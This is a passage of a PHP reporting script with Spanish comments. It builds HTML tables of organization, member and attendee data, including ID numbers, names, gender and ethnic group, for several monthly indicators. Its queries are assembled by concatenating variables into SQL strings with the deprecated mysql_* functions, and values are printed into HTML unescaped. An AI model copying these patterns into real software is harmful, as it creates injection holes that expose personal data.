cod_u_organizaciones\";\n\n\t\t\t\t$resSqlOrgSocios = query($sqlOrgSocios);\n\t\t\t\t$numRegistros = mysql_num_rows($resSqlOrgSocios);\n\t\t\t\t//echo $sqlOrgSocios . \"<br>\";\n\t\t\t\t//echo $cont . \" \" . $numRegistros . \"<br>\";\n\n\t\t\t\tif($numRegistros > 1)\n\t\t\t\t{\n\t\t\t\t\t// El socio existe en mas de una organizacion, por lo cual se debe de tomar los cod_u_organizaciones\n\t\t\t\t\t$codOrgSocio = array();\n\t\t\t\t\t$codOrgReportada = array();\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlOrgSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($codOrgSocio, $fila['cod_u_organizaciones']);\n\t\t\t\t\t}\n\n\n\n\t\t\t\t\t// Se busca las organizaciones que han sido reportadas en el mes\n\t\t\t\t\tforeach($codOrgSocio as $codigoOrg)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(in_array($codigoOrg, $orgSocios))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//si el codigo de organizacion se encuentra reportada se guarda en codOrgReportada\n\t\t\t\t\t\t\tarray_push($codOrgReportada, $codigoOrg);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t//print_r2($codOrgReportada);\n\n\t\t\t\t\t// Se completa la informacion correspondiente\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte from socios where cedula = '\" . $valor . \"' group by cedula\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t//echo $fila['cod_provincia'] . \" $indice<br>\";\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tforeach($codOrgReportada as $codigoOrg)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $codigoOrg;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($aux == 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio .= \" - \" . $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio .= \" - \" . $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio .= \" - \" . $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio .= \" - \" . $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio .= \" - \" . $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $codigoOrg . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t$aux1 = 0;\n\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\t\tif($aux1 == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\t$aux1++;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.cod_asistencia_legal from asistencia_legal_org e where e.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.cod_asistencia_legal\";\n\t\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$campoFortalecimiento = \"asistencia_legal\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$aux++;\t\t\t\t\t\t\n\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\n\n\n\t\t\t\t}\n\t\t\t\tif($numRegistros == 1)\n\t\t\t\t{\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte , cod_u_organizaciones from socios where cedula = '\" . $valor . \"' order by cod_u_organizaciones\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t//echo $fila['cod_provincia'] . \" $indice - $zonaSel<br>\";\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $fila['cod_u_organizaciones'];\n\t\t\t\t\t\t//echo $sqlRucOrgSocio . \"<br>\";\n\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\tif($aux == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.cod_asistencia_legal from asistencia_legal_org e where e.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.cod_asistencia_legal\";\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\tif(mysql_num_rows($resFortalecimiento) > 0)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$campoFortalecimiento = \"asistencia_legal\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$aux++;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provNombre . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $cedulaSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnicoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $orgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $categoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $identificacionCategoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $campoFortalecimiento . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\t\t\t\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t\t\n\t}\n\n\tif($indicadorSel == 5)\n\t{\n\t\t$resIndicador = quinto_indicador($mesSel,$zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\t$numRegistros = count($resIndicador);\n\t\tif($numRegistros > 0)\n\t\t{\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE HORAS DE CAPACITACION</th>\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tfor($i = 0; $i < count($resIndicador); $i = $i + 2)\n\t\t\t{\n\t\t\t\t$orgEvento = array();\n\t\t\t\t$orgFortalecimiento = array();\n\t\t\t\t$sqlOrgEventos = \"select ev.cod_u_organizaciones, e.campo_fortalecimiento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.anio = \" . $anioCurso . \" and ev.cod_evento = '\" . $resIndicador[$i] . \"' group by ev.cod_u_organizaciones\";\n\t\t\t\t//echo $sqlOrgEventos . \"<br>\";\n\t\t\t\t$resOrgEventos = query($sqlOrgEventos);\n\n\t\t\t\tif(mysql_num_rows($resOrgEventos) > 0)\n\t\t\t\t{\n\t\t\t\t\twhile($fila = mysql_fetch_array($resOrgEventos))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($orgEvento, $fila['cod_u_organizaciones']);\n\t\t\t\t\t\tarray_push($orgFortalecimiento, $fila['campo_fortalecimiento']);\n\t\t\t\t\t}\n\n\t\t\t\t\t$cont1 = 0;\t\t\t\t\t\n\t\t\t\t\tforeach($orgEvento as $valor)\n\t\t\t\t\t{\n\n\t\t\t\t\t\t$sqlOrganizacion = \"select cod_provincia, organizacion, ruc_definitivo, ruc_provisional, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t\t\t\t$resOrganizacion = query($sqlOrganizacion);\n\t\t\t\t\t\t$provOrg = \"\";\n\t\t\t\t\t\t$nombreOrg = \"\";\n\t\t\t\t\t\t$catMatrizProductivaOrg = \"\";\n\t\t\t\t\t\t$actividadOrg = \"\";\n\t\t\t\t\t\twhile($fila = mysql_fetch_array($resOrganizacion))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t\t$nombreOrg = $fila['organizacion'];\n\t\t\t\t\t\t\t$rucDefinitivo = $fila['ruc_definitivo'] . \" - \" . $fila['ruc_provisional'];\n\t\t\t\t\t\t\t$catMatrizProductivaOrg = $fila['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$actividadOrg = $fila['identificacion_actividad_mp'];\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\n\t\t\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $nombreOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrg . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i + 1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $orgFortalecimiento[$cont1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i] . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t\t$cont++;\n\t\t\t\t\t\t$cont1++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td>NO EXISTEN ORGANIZACIONES REGISTRADAS</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i + 1] . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td> - </td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $resIndicador[$i] . \"</td>\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t$cont++;\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\t\t\n\n\t\t\n\n\t}\n\n\tif($indicadorSel == 6)\n\t{\n\t\t$resIndicador = sexto_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\t\t$numRegistros = count($resIndicador);\n\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t// si hay registros se debe crear la tabla de detalle\n\t\tif($numRegistros > 0)\n\t\t{\n\t\t\t// armado del header de la tabla\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>CODIGO DIALOGO SOCIAL</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t//tengo el array con codigos del dialgo social devuelto por el indicador\n\t\t\t$cont = 0;\n\t\t\t$lineasTabla = \"\";\t\t\t\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\t\t\t\t// debe buscar la informacion del dialogo social\n\t\t\t\t$sqlDetalleDialogo = \"select cod_provincia, cedula, nombres, apellidos, grupo_etnico, poblacion, genero from asistentes where cod_evento = '\" . $valor . \"' and anio = \" . $anioCurso . \" group by cedula\";\n\t\t\t\t//echo $sqlDetalleDialogo . \"<br>\";\n\t\t\t\t$resDetalleDialogo = query($sqlDetalleDialogo);\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\twhile($fila = mysql_fetch_array($resDetalleDialogo))\n\t\t\t\t{\n\t\t\t\t\t$indice = $cont + 1;\n\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t$cedulaA = $fila['cedula'];\n\t\t\t\t\t$apellidosNombres = $fila['apellidos'];\n\t\t\t\t\t$grupoEtnico = $fila['grupo_etnico'];\n\t\t\t\t\t$generoA = $fila['genero'];\n\t\t\t\t\t$poblacionA = $fila['poblacion'];\n\n\t\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $cedulaA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $apellidosNombres . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnico . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $generoA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $poblacionA . \"</td>\n\t\t\t\t\t\t\t\t\t\t<td>\" . $valor . \"</td>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t\t$cont++;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t\n\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// si no existe registros lo hacemos saber al usuario\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\t\t\n\t\t\n\n\t}\n\n\tif($indicadorSel == 7)\n\t{\n\t\t$resIndicador = septimo_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\n\t\t// si el indicador regresa datos comenzamos a armar la tabla de detalle\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t// armado del header de la tabla\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$cont = 0;\n\t\t\t$lineasTabla = \"\";\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\n\t\t\t\t// consulto el detalle de los asistentes a eps\n\t\t\t\t$sqlAsistentes = \"select cod_provincia, apellidos, grupo_etnico, genero, poblacion from asistentes where tipo_evento = 'EPS' and zona=\" . $zonaSel . \" and month(fecha_reporte) = \" . $mesSel . \" and year(fecha_reporte) =\" . $anioCurso . \" and anio =\" . $anioCurso . \" and cedula = '\" . $valor . \"'\";\n\t\t\t\t$resAsistentes = query($sqlAsistentes);\n\t\t\t\twhile($fila = mysql_fetch_array($resAsistentes))\n\t\t\t\t{\n\t\t\t\t\t$provOrg = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t$apellidosNombres = $fila['apellidos'];\n\t\t\t\t\t$grupoEtnico = $fila['grupo_etnico'];\n\t\t\t\t\t$generoA = $fila['genero'];\n\t\t\t\t\t$poblacionA = $fila['poblacion'];\n\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $valor . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosNombres . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnico . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoA . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionA . \"</td>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// si no hay registros\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 8)\n\t{\n\t\t$resIndicador = octavo_indicador($mesSel, $zonaSel);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t//provincias de las organizaciones\n\t\t\t$provOrg = RecuperarInfoOrg($resIndicador, 'provincia');\n\t\t\t//nombres de las organizaciones\n\t\t\t$nombresOrganizaciones = RecuperarInfoOrg($resIndicador, 'nombresOrg');\n\t\t\t// ruc de las organizaciones\n\t\t\t$rucProvisional = RecuperarInfoOrg($resIndicador, 'rucProvisionalOrg');\n\t\t\t$rucDefinitivo = RecuperarInfoOrg($resIndicador, 'rucDefinitivoOrg');\n\t\t\t//categoria Matriz productiva de las organizaciones\n\t\t\t$catMatrizProductivaOrg = RecuperarInfoOrg($resIndicador, 'categoriaMatriz');\n\t\t\t// numero de socios por cada organizacion\n\t\t\t$numSociosOrganizacion = NumSociosOrganizacion($resIndicador);\n\t\t\t// numero de personas Capacitadas\n\t\t\t$numPerCapacitadas = NumPersonasCapacitadas($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($eventosAsistentes);\n\t\t\t//Servicio Brindado por Fortalecimiento\n\t\t\t$servicioFortalecimiento = ServiciosBrindadosOrg($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel);\n\t\t\t//print_r2($resIndicador);\n\t\t\t// identificacion actividad matriz productiva\n\t\t\t$actOrgMP = RecuperarInfoOrg($resIndicador, 'identificacionMatriz');\n\t\t\t//capacitados por Genero\n\t\t\t$capMujeres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'mujer');\n\t\t\t$capHombres = NumCapacitadosGenero($resIndicador, $anioCurso, $mesSel, 'ORG', $zonaSel, 'hombre');\n\n\n\t\t\t// BORRAR LUEGO SOLO PARA FORTALECIMIENTO\n\t\t\t$tablaCapacitados .= \"</table>\";\n\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES REPORTE</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE SOCIOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS MUJERES</th>\n\t\t\t\t\t\t\t\t<th>NUMERO DE CAPACITADOS HOMBRES</th>\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\n\t\t\t\t\t\t\t\t<th>CODIGO EVENTO</th>\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\t\t\tforeach($resIndicador as 